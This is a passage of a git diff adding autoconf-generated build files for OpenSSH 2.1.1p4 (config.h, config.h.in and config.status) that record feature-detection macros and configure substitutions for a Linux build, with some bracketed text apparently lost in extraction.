+/* Define if you have the clock function. */ +#define HAVE_CLOCK 1 + +/* Define if you have the entutent function. */ +/* #undef HAVE_ENTUTENT */ + +/* Define if you have the entutxent function. */ +/* #undef HAVE_ENTUTXENT */ + +/* Define if you have the freeaddrinfo function. */ +#define HAVE_FREEADDRINFO 1 + +/* Define if you have the gai_strerror function. */ +#define HAVE_GAI_STRERROR 1 + +/* Define if you have the getaddrinfo function. */ +#define HAVE_GETADDRINFO 1 + +/* Define if you have the getnameinfo function. */ +#define HAVE_GETNAMEINFO 1 + +/* Define if you have the getpwanam function. */ +/* #undef HAVE_GETPWANAM */ + +/* Define if you have the getrusage function. */ +#define HAVE_GETRUSAGE 1 + +/* Define if you have the gettimeofday function. */ +#define HAVE_GETTIMEOFDAY 1 + +/* Define if you have the getutent function. */ +#define HAVE_GETUTENT 1 + +/* Define if you have the getutid function. */ +#define HAVE_GETUTID 1 + +/* Define if you have the getutline function. */ +#define HAVE_GETUTLINE 1 + +/* Define if you have the getutxent function. */ +#define HAVE_GETUTXENT 1 + +/* Define if you have the getutxid function. */ +#define HAVE_GETUTXID 1 + +/* Define if you have the getutxline function. */ +#define HAVE_GETUTXLINE 1 + +/* Define if you have the inet_aton function. */ +#define HAVE_INET_ATON 1 + +/* Define if you have the innetgr function. */ +#define HAVE_INNETGR 1 + +/* Define if you have the login function. */ +#define HAVE_LOGIN 1 + +/* Define if you have the logout function. */ +#define HAVE_LOGOUT 1 + +/* Define if you have the logwtmp function. */ +#define HAVE_LOGWTMP 1 + +/* Define if you have the md5_crypt function. */ +/* #undef HAVE_MD5_CRYPT */ + +/* Define if you have the memmove function. */ +#define HAVE_MEMMOVE 1 + +/* Define if you have the mkdtemp function. */ +/* #undef HAVE_MKDTEMP */ + +/* Define if you have the on_exit function. */ +#define HAVE_ON_EXIT 1 + +/* Define if you have the openpty function. */ +#define HAVE_OPENPTY 1 + +/* Define if you have the pam_getenvlist function. */ +#define HAVE_PAM_GETENVLIST 1 + +/* Define if you have the pututline function. */ +#define HAVE_PUTUTLINE 1 + +/* Define if you have the pututxline function. */ +#define HAVE_PUTUTXLINE 1 + +/* Define if you have the rresvport_af function. */ +/* #undef HAVE_RRESVPORT_AF */ + +/* Define if you have the setenv function. */ +#define HAVE_SETENV 1 + +/* Define if you have the seteuid function. */ +#define HAVE_SETEUID 1 + +/* Define if you have the setlogin function. */ +/* #undef HAVE_SETLOGIN */ + +/* Define if you have the setproctitle function. */ +/* #undef HAVE_SETPROCTITLE */ + +/* Define if you have the setreuid function. */ +#define HAVE_SETREUID 1 + +/* Define if you have the setutent function. */ +#define HAVE_SETUTENT 1 + +/* Define if you have the setutxent function. */ +#define HAVE_SETUTXENT 1 + +/* Define if you have the sigaction function. */ +#define HAVE_SIGACTION 1 + +/* Define if you have the sigvec function. */ +#define HAVE_SIGVEC 1 + +/* Define if you have the snprintf function. */ +#define HAVE_SNPRINTF 1 + +/* Define if you have the strerror function. */ +#define HAVE_STRERROR 1 + +/* Define if you have the strlcat function. */ +/* #undef HAVE_STRLCAT */ + +/* Define if you have the strlcpy function. */ +/* #undef HAVE_STRLCPY */ + +/* Define if you have the strsep function. */ +#define HAVE_STRSEP 1 + +/* Define if you have the time function. */ +#define HAVE_TIME 1 + +/* Define if you have the updwtmp function. */ +#define HAVE_UPDWTMP 1 + +/* Define if you have the utmpname function. */ +#define HAVE_UTMPNAME 1 + +/* Define if you have the utmpxname function. */ +#define HAVE_UTMPXNAME 1 + +/* Define if you have the vhangup function. */ +#define HAVE_VHANGUP 1 + +/* Define if you have the vsnprintf function. */ +#define HAVE_VSNPRINTF 1 + +/* Define if you have the header file. */ +/* #undef HAVE_BSTRING_H */ + +/* Define if you have the header file. */ +#define HAVE_ENDIAN_H 1 + +/* Define if you have the header file. */ +/* #undef HAVE_FLOATINGPOINT_H */ + +/* Define if you have the header file. */ +/* #undef HAVE_KRB_H */ + +/* Define if you have the header file. */ +#define HAVE_LASTLOG_H 1 + +/* Define if you have the header file. */ +#define HAVE_LIMITS_H 1 + +/* Define if you have the header file. */ +/* #undef HAVE_LOGIN_H */ + +/* Define if you have the header file. */ +/* #undef HAVE_MAILLOCK_H */ + +/* Define if you have the header file. */ +#define HAVE_NETDB_H 1 + +/* Define if you have the header file. */ +/* #undef HAVE_NETGROUP_H */ + +/* Define if you have the header file. */ +#define HAVE_NETINET_IN_SYSTM_H 1 + +/* Define if you have the header file. */ +#define HAVE_PATHS_H 1 + +/* Define if you have the header file. */ +#define HAVE_POLL_H 1 + +/* Define if you have the header file. */ +#define HAVE_PTY_H 1 + +/* Define if you have the header file. */ +#define HAVE_SECURITY_PAM_APPL_H 1 + +/* Define if you have the header file. */ +#define HAVE_SHADOW_H 1 + +/* Define if you have the header file. */ +#define HAVE_STDDEF_H 1 + +/* Define if you have the header file. */ +#define HAVE_SYS_BITYPES_H 1 + +/* Define if you have the header file. */ +/* #undef HAVE_SYS_BSDTTY_H */ + +/* Define if you have the header file. */ +#define HAVE_SYS_CDEFS_H 1 + +/* Define if you have the header file. */ +#define HAVE_SYS_POLL_H 1 + +/* Define if you have the header file. */ +#define HAVE_SYS_SELECT_H 1 + +/* Define if you have the header file. */ +#define HAVE_SYS_STAT_H 1 + +/* Define if you have the header file. */ +#define HAVE_SYS_STROPTS_H 1 + +/* Define if you have the header file. */ +#define HAVE_SYS_SYSMACROS_H 1 + +/* Define if you have the header file. */ +#define HAVE_SYS_TIME_H 1 + +/* Define if you have the header file. */ +/* #undef HAVE_SYS_TTCOMPAT_H */ + +/* Define if you have the header file. */ +#define HAVE_TIME_H 1 + +/* Define if you have the header file. */ +/* #undef HAVE_USERSEC_H */ + +/* Define if you have the header file. */ +/* #undef HAVE_UTIL_H */ + +/* Define if you have the header file. */ +#define HAVE_UTMP_H 1 + +/* Define if you have the header file. */ +#define HAVE_UTMPX_H 1 + +/* Define if you have the dl library (-ldl). */ +#define HAVE_LIBDL 1 + +/* Define if you have the krb library (-lkrb). */ +/* #undef HAVE_LIBKRB */ + +/* Define if you have the nsl library (-lnsl). */ +#define HAVE_LIBNSL 1 + +/* Define if you have the resolv library (-lresolv). */ +/* #undef HAVE_LIBRESOLV */ + +/* Define if you have the socket library (-lsocket). */ +/* #undef HAVE_LIBSOCKET */ + +/* Define if you have the z library (-lz). */ +#define HAVE_LIBZ 1 + +/* ******************* Shouldn't need to edit below this line ************** */ + +#include "defines.h" + +#endif /* _CONFIG_H */ diff --git a/other/openssh-2.1.1p4/config.h.in b/other/openssh-2.1.1p4/config.h.in new file mode 100644 index 0000000..2360383 --- /dev/null +++ b/other/openssh-2.1.1p4/config.h.in @@ -0,0 +1,520 @@ +/* config.h.in. Generated automatically from configure.in by autoheader. */ +#ifndef _CONFIG_H +#define _CONFIG_H + +/* Generated automatically from acconfig.h by autoheader. */ +/* Please make your changes there */ + + +/* Define as __inline if that's what the C compiler calls it. */ +#undef inline + +/* Define if your system defines sys_errlist[] */ +#undef HAVE_SYS_ERRLIST + +/* Define if your system choked on IP TOS setting */ +#undef IP_TOS_IS_BROKEN + +/* Define if you have the getuserattr function. */ +#undef HAVE_GETUSERATTR + +/* Work around problematic Linux PAM modules handling of PAM_TTY */ +#undef PAM_TTY_KLUDGE + +/* Define if your snprintf is busted */ +#undef BROKEN_SNPRINTF + +/* Define if you are on NeXT */ +#undef HAVE_NEXT + +/* Define if you want to disable PAM support */ +#undef DISABLE_PAM + +/* Define if you want to enable AIX4's authenticate function */ +#undef WITH_AIXAUTHENTICATE + +/* Define if you have/want arrays (cluster-wide session managment, not C arrays) */ +#undef WITH_IRIX_ARRAY + +/* Define if you want IRIX project management */ +#undef WITH_IRIX_PROJECT + +/* Define if you want IRIX audit trails */ +#undef WITH_IRIX_AUDIT + +/* Location of random number pool */ +#undef RANDOM_POOL + +/* Location of EGD random number socket */ +#undef EGD_SOCKET + +/* Builtin PRNG command timeout */ +#undef ENTROPY_TIMEOUT_MSEC + +/* Define if your ssl headers are included with #include */ +#undef HAVE_OPENSSL + +/* struct utmp and struct utmpx fields */ +#undef HAVE_HOST_IN_UTMP +#undef HAVE_HOST_IN_UTMPX +#undef HAVE_ADDR_IN_UTMP +#undef HAVE_ADDR_IN_UTMPX +#undef HAVE_ADDR_V6_IN_UTMP +#undef HAVE_ADDR_V6_IN_UTMPX +#undef HAVE_SYSLEN_IN_UTMPX +#undef HAVE_PID_IN_UTMP +#undef HAVE_TYPE_IN_UTMP +#undef HAVE_TYPE_IN_UTMPX +#undef HAVE_TV_IN_UTMP +#undef HAVE_TV_IN_UTMPX +#undef HAVE_ID_IN_UTMP +#undef HAVE_ID_IN_UTMPX +#undef HAVE_EXIT_IN_UTMP +#undef HAVE_TIME_IN_UTMP +#undef HAVE_TIME_IN_UTMPX + +/* Define if you don't want to use your system's login() call */ +#undef DISABLE_LOGIN + +/* Define if you don't want to use pututline() etc. to write [uw]tmp */ +#undef DISABLE_PUTUTLINE + +/* Define if you don't want to use pututxline() etc. to write [uw]tmpx */ +#undef DISABLE_PUTUTXLINE + +/* Define if you don't want to use lastlog */ +#undef DISABLE_LASTLOG + +/* Define if you don't want to use utmp */ +#undef DISABLE_UTMP + +/* Define if you don't want to use utmpx */ +#undef DISABLE_UTMPX + +/* Define if you don't want to use wtmp */ +#undef DISABLE_WTMP + +/* Define if you don't want to use wtmpx */ +#undef DISABLE_WTMPX + +/* Define if you want to specify the path to your lastlog file */ +#undef CONF_LASTLOG_FILE + +/* Define if you want to specify the path to your utmp file */ +#undef CONF_UTMP_FILE + +/* Define if you want to specify the path to your wtmp file */ +#undef CONF_WTMP_FILE + +/* Define if you want to specify the path to your utmpx file */ +#undef CONF_UTMPX_FILE + +/* Define if you want to specify the path to your wtmpx file */ +#undef CONF_WTMPX_FILE + +/* Define is libutil has login() function */ +#undef HAVE_LIBUTIL_LOGIN + +/* Define if libc defines __progname */ +#undef HAVE___PROGNAME + +/* Define if you want Kerberos 4 support */ +#undef KRB4 + +/* Define if you want AFS support */ +#undef AFS + +/* Define if you want S/Key support */ +#undef SKEY + +/* Define if you want TCP Wrappers support */ +#undef LIBWRAP + +/* Define if your libraries define login() */ +#undef HAVE_LOGIN + +/* Define if your libraries define daemon() */ +#undef HAVE_DAEMON + +/* Define if your libraries define getpagesize() */ +#undef HAVE_GETPAGESIZE + +/* Define if xauth is found in your path */ +#undef XAUTH_PATH + +/* Define if rsh is found in your path */ +#undef RSH_PATH + +/* Define if you want to allow MD5 passwords */ +#undef HAVE_MD5_PASSWORDS + +/* Define if you want to disable shadow passwords */ +#undef DISABLE_SHADOW + +/* Define if you want to use shadow password expire field */ +#undef HAS_SHADOW_EXPIRE + +/* Define if you want have trusted HPUX */ +#undef HAVE_HPUX_TRUSTED_SYSTEM_PW + +/* Define if you have Digital Unix Security Integration Architecture */ +#undef HAVE_OSF_SIA + +/* Define if you have an old version of PAM which takes only one argument */ +/* to pam_strerror */ +#undef HAVE_OLD_PAM + +/* Set this to your mail directory if you don't have maillock.h */ +#undef MAIL_DIRECTORY + +/* Data types */ +#undef HAVE_INTXX_T +#undef HAVE_U_INTXX_T +#undef HAVE_UINTXX_T +#undef HAVE_SOCKLEN_T +#undef HAVE_SIZE_T +#undef HAVE_SSIZE_T +#undef HAVE_MODE_T +#undef HAVE_PID_T +#undef HAVE_SA_FAMILY_T +#undef HAVE_STRUCT_SOCKADDR_STORAGE +#undef HAVE_STRUCT_ADDRINFO +#undef HAVE_STRUCT_IN6_ADDR +#undef HAVE_STRUCT_SOCKADDR_IN6 + +/* Fields in struct sockaddr_storage */ +#undef HAVE_SS_FAMILY_IN_SS +#undef HAVE___SS_FAMILY_IN_SS + +/* Define if you have /dev/ptmx */ +#undef HAVE_DEV_PTMX + +/* Define if you have /dev/ptc */ +#undef HAVE_DEV_PTS_AND_PTC + +/* Define if you need to use IP address instead of hostname in $DISPLAY */ +#undef IPADDR_IN_DISPLAY + +/* Specify default $PATH */ +#undef USER_PATH + +/* Specify location of ssh.pid */ +#undef PIDDIR + +/* Use IPv4 for connection by default, IPv6 can still if explicity asked */ +#undef IPV4_DEFAULT + +/* getaddrinfo is broken (if present) */ +#undef BROKEN_GETADDRINFO + +/* Workaround more Linux IPv6 quirks */ +#undef DONT_TRY_OTHER_AF + +/* Detect IPv4 in IPv6 mapped addresses and treat as IPv4 */ +#undef IPV4_IN_IPV6 + +/* The number of bytes in a char. */ +#undef SIZEOF_CHAR + +/* The number of bytes in a int. */ +#undef SIZEOF_INT + +/* The number of bytes in a long int. */ +#undef SIZEOF_LONG_INT + +/* The number of bytes in a long long int. */ +#undef SIZEOF_LONG_LONG_INT + +/* The number of bytes in a short int. */ +#undef SIZEOF_SHORT_INT + +/* Define if you have the __b64_ntop function. */ +#undef HAVE___B64_NTOP + +/* Define if you have the _getpty function. */ +#undef HAVE__GETPTY + +/* Define if you have the arc4random function. */ +#undef HAVE_ARC4RANDOM + +/* Define if you have the atexit function. */ +#undef HAVE_ATEXIT + +/* Define if you have the b64_ntop function. */ +#undef HAVE_B64_NTOP + +/* Define if you have the bcopy function. */ +#undef HAVE_BCOPY + +/* Define if you have the bindresvport_af function. */ +#undef HAVE_BINDRESVPORT_AF + +/* Define if you have the clock function. */ +#undef HAVE_CLOCK + +/* Define if you have the entutent function. */ +#undef HAVE_ENTUTENT + +/* Define if you have the entutxent function. */ +#undef HAVE_ENTUTXENT + +/* Define if you have the freeaddrinfo function. */ +#undef HAVE_FREEADDRINFO + +/* Define if you have the gai_strerror function. */ +#undef HAVE_GAI_STRERROR + +/* Define if you have the getaddrinfo function. */ +#undef HAVE_GETADDRINFO + +/* Define if you have the getnameinfo function. */ +#undef HAVE_GETNAMEINFO + +/* Define if you have the getpwanam function. */ +#undef HAVE_GETPWANAM + +/* Define if you have the getrusage function. */ +#undef HAVE_GETRUSAGE + +/* Define if you have the gettimeofday function. */ +#undef HAVE_GETTIMEOFDAY + +/* Define if you have the getutent function. */ +#undef HAVE_GETUTENT + +/* Define if you have the getutid function. */ +#undef HAVE_GETUTID + +/* Define if you have the getutline function. */ +#undef HAVE_GETUTLINE + +/* Define if you have the getutxent function. */ +#undef HAVE_GETUTXENT + +/* Define if you have the getutxid function. */ +#undef HAVE_GETUTXID + +/* Define if you have the getutxline function. */ +#undef HAVE_GETUTXLINE + +/* Define if you have the inet_aton function. */ +#undef HAVE_INET_ATON + +/* Define if you have the innetgr function. */ +#undef HAVE_INNETGR + +/* Define if you have the login function. */ +#undef HAVE_LOGIN + +/* Define if you have the logout function. */ +#undef HAVE_LOGOUT + +/* Define if you have the logwtmp function. */ +#undef HAVE_LOGWTMP + +/* Define if you have the md5_crypt function. */ +#undef HAVE_MD5_CRYPT + +/* Define if you have the memmove function. */ +#undef HAVE_MEMMOVE + +/* Define if you have the mkdtemp function. */ +#undef HAVE_MKDTEMP + +/* Define if you have the on_exit function. */ +#undef HAVE_ON_EXIT + +/* Define if you have the openpty function. */ +#undef HAVE_OPENPTY + +/* Define if you have the pam_getenvlist function. */ +#undef HAVE_PAM_GETENVLIST + +/* Define if you have the pututline function. */ +#undef HAVE_PUTUTLINE + +/* Define if you have the pututxline function. */ +#undef HAVE_PUTUTXLINE + +/* Define if you have the rresvport_af function. */ +#undef HAVE_RRESVPORT_AF + +/* Define if you have the setenv function. */ +#undef HAVE_SETENV + +/* Define if you have the seteuid function. */ +#undef HAVE_SETEUID + +/* Define if you have the setlogin function. */ +#undef HAVE_SETLOGIN + +/* Define if you have the setproctitle function. */ +#undef HAVE_SETPROCTITLE + +/* Define if you have the setreuid function. */ +#undef HAVE_SETREUID + +/* Define if you have the setutent function. */ +#undef HAVE_SETUTENT + +/* Define if you have the setutxent function. */ +#undef HAVE_SETUTXENT + +/* Define if you have the sigaction function. */ +#undef HAVE_SIGACTION + +/* Define if you have the sigvec function. */ +#undef HAVE_SIGVEC + +/* Define if you have the snprintf function. */ +#undef HAVE_SNPRINTF + +/* Define if you have the strerror function. */ +#undef HAVE_STRERROR + +/* Define if you have the strlcat function. */ +#undef HAVE_STRLCAT + +/* Define if you have the strlcpy function. */ +#undef HAVE_STRLCPY + +/* Define if you have the strsep function. */ +#undef HAVE_STRSEP + +/* Define if you have the time function. */ +#undef HAVE_TIME + +/* Define if you have the updwtmp function. */ +#undef HAVE_UPDWTMP + +/* Define if you have the utmpname function. */ +#undef HAVE_UTMPNAME + +/* Define if you have the utmpxname function. */ +#undef HAVE_UTMPXNAME + +/* Define if you have the vhangup function. */ +#undef HAVE_VHANGUP + +/* Define if you have the vsnprintf function. */ +#undef HAVE_VSNPRINTF + +/* Define if you have the header file. */ +#undef HAVE_BSTRING_H + +/* Define if you have the header file. */ +#undef HAVE_ENDIAN_H + +/* Define if you have the header file. */ +#undef HAVE_FLOATINGPOINT_H + +/* Define if you have the header file. */ +#undef HAVE_KRB_H + +/* Define if you have the header file. */ +#undef HAVE_LASTLOG_H + +/* Define if you have the header file. */ +#undef HAVE_LIMITS_H + +/* Define if you have the header file. */ +#undef HAVE_LOGIN_H + +/* Define if you have the header file. */ +#undef HAVE_MAILLOCK_H + +/* Define if you have the header file. */ +#undef HAVE_NETDB_H + +/* Define if you have the header file. */ +#undef HAVE_NETGROUP_H + +/* Define if you have the header file. */ +#undef HAVE_NETINET_IN_SYSTM_H + +/* Define if you have the header file. */ +#undef HAVE_PATHS_H + +/* Define if you have the header file. */ +#undef HAVE_POLL_H + +/* Define if you have the header file. */ +#undef HAVE_PTY_H + +/* Define if you have the header file. */ +#undef HAVE_SECURITY_PAM_APPL_H + +/* Define if you have the header file. */ +#undef HAVE_SHADOW_H + +/* Define if you have the header file. */ +#undef HAVE_STDDEF_H + +/* Define if you have the header file. */ +#undef HAVE_SYS_BITYPES_H + +/* Define if you have the header file. */ +#undef HAVE_SYS_BSDTTY_H + +/* Define if you have the header file. */ +#undef HAVE_SYS_CDEFS_H + +/* Define if you have the header file. */ +#undef HAVE_SYS_POLL_H + +/* Define if you have the header file. */ +#undef HAVE_SYS_SELECT_H + +/* Define if you have the header file. */ +#undef HAVE_SYS_STAT_H + +/* Define if you have the header file. */ +#undef HAVE_SYS_STROPTS_H + +/* Define if you have the header file. */ +#undef HAVE_SYS_SYSMACROS_H + +/* Define if you have the header file. */ +#undef HAVE_SYS_TIME_H + +/* Define if you have the header file. */ +#undef HAVE_SYS_TTCOMPAT_H + +/* Define if you have the header file. */ +#undef HAVE_TIME_H + +/* Define if you have the header file. */ +#undef HAVE_USERSEC_H + +/* Define if you have the header file. */ +#undef HAVE_UTIL_H + +/* Define if you have the header file. */ +#undef HAVE_UTMP_H + +/* Define if you have the header file. */ +#undef HAVE_UTMPX_H + +/* Define if you have the dl library (-ldl). */ +#undef HAVE_LIBDL + +/* Define if you have the krb library (-lkrb). */ +#undef HAVE_LIBKRB + +/* Define if you have the nsl library (-lnsl). */ +#undef HAVE_LIBNSL + +/* Define if you have the resolv library (-lresolv). */ +#undef HAVE_LIBRESOLV + +/* Define if you have the socket library (-lsocket). */ +#undef HAVE_LIBSOCKET + +/* Define if you have the z library (-lz). */ +#undef HAVE_LIBZ + +/* ******************* Shouldn't need to edit below this line ************** */ + +#include "defines.h" + +#endif /* _CONFIG_H */ diff --git a/other/openssh-2.1.1p4/config.status b/other/openssh-2.1.1p4/config.status new file mode 100755 index 0000000..ba15a02 --- /dev/null +++ b/other/openssh-2.1.1p4/config.status @@ -0,0 +1,775 @@ +#! /bin/sh +# Generated automatically by configure. +# Run this file to recreate the current configuration. +# This directory was configured as follows, +# on host liane.c-skills.de: +# +# ./configure +# +# Compiler output produced by configure, useful for debugging +# configure, is in ./config.log if it exists. + +ac_cs_usage="Usage: ./config.status [--recheck] [--version] [--help]" +for ac_option +do + case "$ac_option" in + -recheck | --recheck | --rechec | --reche | --rech | --rec | --re | --r) + echo "running ${CONFIG_SHELL-/bin/sh} ./configure --no-create --no-recursion" + exec ${CONFIG_SHELL-/bin/sh} ./configure --no-create --no-recursion ;; + -version | --version | --versio | --versi | --vers | --ver | --ve | --v) + echo "./config.status generated by autoconf version 2.13" + exit 0 ;; + -help | --help | --hel | --he | --h) + echo "$ac_cs_usage"; exit 0 ;; + *) echo "$ac_cs_usage"; exit 1 ;; + esac +done + +ac_given_srcdir=. +ac_given_INSTALL="/usr/bin/ginstall -c" + +trap 'rm -fr Makefile ssh_prng_cmds config.h conftest*; exit 1' 1 2 15 + +# Protect against being on the right side of a sed subst in config.status. +sed 's/%@/@@/; s/@%/@@/; s/%g$/@g/; /@g$/s/[\\&%]/\\&/g; + s/@@/%@/; s/@@/@%/; s/@g$/%g/' > conftest.subs <<\CEOF +/^[ ]*VPATH[ ]*=[^:]*$/d + +s%@SHELL@%/bin/sh%g +s%@CFLAGS@%-g -O2 -Wall%g +s%@CPPFLAGS@%%g +s%@CXXFLAGS@%%g +s%@FFLAGS@%%g +s%@DEFS@%-DHAVE_CONFIG_H%g +s%@LDFLAGS@%%g +s%@LIBS@%-ldl -lnsl -lz -lutil -lpam -lcrypto %g +s%@exec_prefix@%${prefix}%g +s%@prefix@%/usr/local%g +s%@program_transform_name@%s,x,x,%g +s%@bindir@%${exec_prefix}/bin%g +s%@sbindir@%${exec_prefix}/sbin%g +s%@libexecdir@%${exec_prefix}/libexec%g +s%@datadir@%${prefix}/share%g +s%@sysconfdir@%${prefix}/etc%g +s%@sharedstatedir@%${prefix}/com%g +s%@localstatedir@%${prefix}/var%g +s%@libdir@%${exec_prefix}/lib%g +s%@includedir@%${prefix}/include%g +s%@oldincludedir@%/usr/include%g +s%@infodir@%${prefix}/info%g +s%@mandir@%${prefix}/man%g +s%@CC@%gcc%g +s%@host@%i686-pc-linux-gnu%g +s%@host_alias@%i686-pc-linux%g +s%@host_cpu@%i686%g +s%@host_vendor@%pc%g +s%@host_os@%linux-gnu%g +s%@CPP@%gcc -E%g +s%@RANLIB@%ranlib%g +s%@INSTALL_PROGRAM@%${INSTALL}%g +s%@INSTALL_SCRIPT@%${INSTALL_PROGRAM}%g +s%@INSTALL_DATA@%${INSTALL} -m 644%g +s%@AR@%ar%g +s%@PERL@%/usr/bin/perl%g +s%@ENT@%%g +s%@LD@%gcc%g +s%@rsh_path@%/usr/bin/rsh%g +s%@xauth_path@%/usr/X11R6/bin/xauth%g +s%@RANDOM_POOL@%/dev/urandom%g +s%@PROG_LS@%%g +s%@PROG_NETSTAT@%%g +s%@PROG_ARP@%%g +s%@PROG_IFCONFIG@%%g +s%@PROG_PS@%%g +s%@PROG_W@%%g +s%@PROG_WHO@%%g +s%@PROG_LAST@%%g +s%@PROG_LASTLOG@%%g +s%@PROG_DF@%%g +s%@PROG_VMSTAT@%%g +s%@PROG_UPTIME@%%g +s%@PROG_IPCS@%%g +s%@PROG_TAIL@%%g +s%@INSTALL_SSH_PRNG_CMDS@%%g +s%@MANTYPE@%$(TROFFMAN)%g +s%@mansubdir@%man%g +s%@piddir@%/var/run%g + +CEOF + +# Split the substitutions into bite-sized pieces for seds with +# small command number limits, like on Digital OSF/1 and HP-UX. +ac_max_sed_cmds=90 # Maximum number of lines to put in a sed script. +ac_file=1 # Number of current file. +ac_beg=1 # First line for current file. +ac_end=$ac_max_sed_cmds # Line after last line for current file. +ac_more_lines=: +ac_sed_cmds="" +while $ac_more_lines; do + if test $ac_beg -gt 1; then + sed "1,${ac_beg}d; ${ac_end}q" conftest.subs > conftest.s$ac_file + else + sed "${ac_end}q" conftest.subs > conftest.s$ac_file + fi + if test ! -s conftest.s$ac_file; then + ac_more_lines=false + rm -f conftest.s$ac_file + else + if test -z "$ac_sed_cmds"; then + ac_sed_cmds="sed -f conftest.s$ac_file" + else + ac_sed_cmds="$ac_sed_cmds | sed -f conftest.s$ac_file" + fi + ac_file=`expr $ac_file + 1` + ac_beg=$ac_end + ac_end=`expr $ac_end + $ac_max_sed_cmds` + fi +done +if test -z "$ac_sed_cmds"; then + ac_sed_cmds=cat +fi + +CONFIG_FILES=${CONFIG_FILES-"Makefile ssh_prng_cmds"} +for ac_file in .. $CONFIG_FILES; do if test "x$ac_file" != x..; then + # Support "outfile[:infile[:infile...]]", defaulting infile="outfile.in". + case "$ac_file" in + *:*) ac_file_in=`echo "$ac_file"|sed 's%[^:]*:%%'` + ac_file=`echo "$ac_file"|sed 's%:.*%%'` ;; + *) ac_file_in="${ac_file}.in" ;; + esac + + # Adjust a relative srcdir, top_srcdir, and INSTALL for subdirectories. + + # Remove last slash and all that follows it. Not all systems have dirname. + ac_dir=`echo $ac_file|sed 's%/[^/][^/]*$%%'` + if test "$ac_dir" != "$ac_file" && test "$ac_dir" != .; then + # The file is in a subdirectory. + test ! -d "$ac_dir" && mkdir "$ac_dir" + ac_dir_suffix="/`echo $ac_dir|sed 's%^\./%%'`" + # A "../" for each directory in $ac_dir_suffix. + ac_dots=`echo $ac_dir_suffix|sed 's%/[^/]*%../%g'` + else + ac_dir_suffix= ac_dots= + fi + + case "$ac_given_srcdir" in + .) srcdir=. + if test -z "$ac_dots"; then top_srcdir=. + else top_srcdir=`echo $ac_dots|sed 's%/$%%'`; fi ;; + /*) srcdir="$ac_given_srcdir$ac_dir_suffix"; top_srcdir="$ac_given_srcdir" ;; + *) # Relative path. + srcdir="$ac_dots$ac_given_srcdir$ac_dir_suffix" + top_srcdir="$ac_dots$ac_given_srcdir" ;; + esac + + case "$ac_given_INSTALL" in + [/$]*) INSTALL="$ac_given_INSTALL" ;; + *) INSTALL="$ac_dots$ac_given_INSTALL" ;; + esac + + echo creating "$ac_file" + rm -f "$ac_file" + configure_input="Generated automatically from `echo $ac_file_in|sed 's%.*/%%'` by configure." + case "$ac_file" in + *Makefile*) ac_comsub="1i\\ +# $configure_input" ;; + *) ac_comsub= ;; + esac + + ac_file_inputs=`echo $ac_file_in|sed -e "s%^%$ac_given_srcdir/%" -e "s%:% $ac_given_srcdir/%g"` + sed -e "$ac_comsub +s%@configure_input@%$configure_input%g +s%@srcdir@%$srcdir%g +s%@top_srcdir@%$top_srcdir%g +s%@INSTALL@%$INSTALL%g +" $ac_file_inputs | (eval "$ac_sed_cmds") > $ac_file +fi; done +rm -f conftest.s* + +# These sed commands are passed to sed as "A NAME B NAME C VALUE D", where +# NAME is the cpp macro being defined and VALUE is the value it is being given. +# +# ac_d sets the value in "#define NAME VALUE" lines. +ac_dA='s%^\([ ]*\)#\([ ]*define[ ][ ]*\)' +ac_dB='\([ ][ ]*\)[^ ]*%\1#\2' +ac_dC='\3' +ac_dD='%g' +# ac_u turns "#undef NAME" with trailing blanks into "#define NAME VALUE". +ac_uA='s%^\([ ]*\)#\([ ]*\)undef\([ ][ ]*\)' +ac_uB='\([ ]\)%\1#\2define\3' +ac_uC=' ' +ac_uD='\4%g' +# ac_e turns "#undef NAME" without trailing blanks into "#define NAME VALUE". +ac_eA='s%^\([ ]*\)#\([ ]*\)undef\([ ][ ]*\)' +ac_eB='$%\1#\2define\3' +ac_eC=' ' +ac_eD='%g' + +if test "${CONFIG_HEADERS+set}" != set; then + CONFIG_HEADERS="config.h" +fi +for ac_file in .. $CONFIG_HEADERS; do if test "x$ac_file" != x..; then + # Support "outfile[:infile[:infile...]]", defaulting infile="outfile.in". + case "$ac_file" in + *:*) ac_file_in=`echo "$ac_file"|sed 's%[^:]*:%%'` + ac_file=`echo "$ac_file"|sed 's%:.*%%'` ;; + *) ac_file_in="${ac_file}.in" ;; + esac + + echo creating $ac_file + + rm -f conftest.frag conftest.in conftest.out + ac_file_inputs=`echo $ac_file_in|sed -e "s%^%$ac_given_srcdir/%" -e "s%:% $ac_given_srcdir/%g"` + cat $ac_file_inputs > conftest.in + + cat > conftest.frag < conftest.out + rm -f conftest.in + mv conftest.out conftest.in + + cat > conftest.frag < conftest.out + rm -f conftest.in + mv conftest.out conftest.in + + cat > conftest.frag < conftest.out + rm -f conftest.in + mv conftest.out conftest.in + + cat > conftest.frag < conftest.out + rm -f conftest.in + mv conftest.out conftest.in + + cat > conftest.frag < conftest.out + rm -f conftest.in + mv conftest.out conftest.in + + cat > conftest.frag < conftest.out + rm -f conftest.in + mv conftest.out conftest.in + + cat > conftest.frag < conftest.out + rm -f conftest.in + mv conftest.out conftest.in + + cat > conftest.frag < conftest.out + rm -f conftest.in + mv conftest.out conftest.in + + cat > conftest.frag < conftest.out + rm -f conftest.in + mv conftest.out conftest.in + + cat > conftest.frag < conftest.out + rm -f conftest.in + mv conftest.out conftest.in + + cat > conftest.frag < conftest.out + rm -f conftest.in + mv conftest.out conftest.in + + cat > conftest.frag < conftest.out + rm -f conftest.in + mv conftest.out conftest.in + + cat > conftest.frag < conftest.out + rm -f conftest.in + mv conftest.out conftest.in + + cat > conftest.frag < conftest.out + rm -f conftest.in + mv conftest.out conftest.in + + cat > conftest.frag < conftest.out + rm -f conftest.in + mv conftest.out conftest.in + + cat > conftest.frag < conftest.out + rm -f conftest.in + mv conftest.out conftest.in + + cat > conftest.frag < conftest.out + rm -f conftest.in + mv conftest.out conftest.in + + cat > conftest.frag < conftest.out + rm -f conftest.in + mv conftest.out conftest.in + + cat > conftest.frag < conftest.out + rm -f conftest.in + mv conftest.out conftest.in + + cat > conftest.frag < conftest.out + rm -f conftest.in + mv conftest.out conftest.in + + cat > conftest.frag < conftest.out + rm -f conftest.in + mv conftest.out conftest.in + + cat > conftest.frag < conftest.out + rm -f conftest.in + mv conftest.out conftest.in + + cat > conftest.frag < conftest.out + rm -f conftest.in + mv conftest.out conftest.in + + cat > conftest.frag < conftest.out + rm -f conftest.in + mv conftest.out conftest.in + + cat > conftest.frag < conftest.out + rm -f conftest.in + mv conftest.out conftest.in + + cat > conftest.frag < conftest.out + rm -f conftest.in + mv conftest.out conftest.in + + cat > conftest.frag < conftest.out + rm -f conftest.in + mv conftest.out conftest.in + + cat > conftest.frag < conftest.out + rm 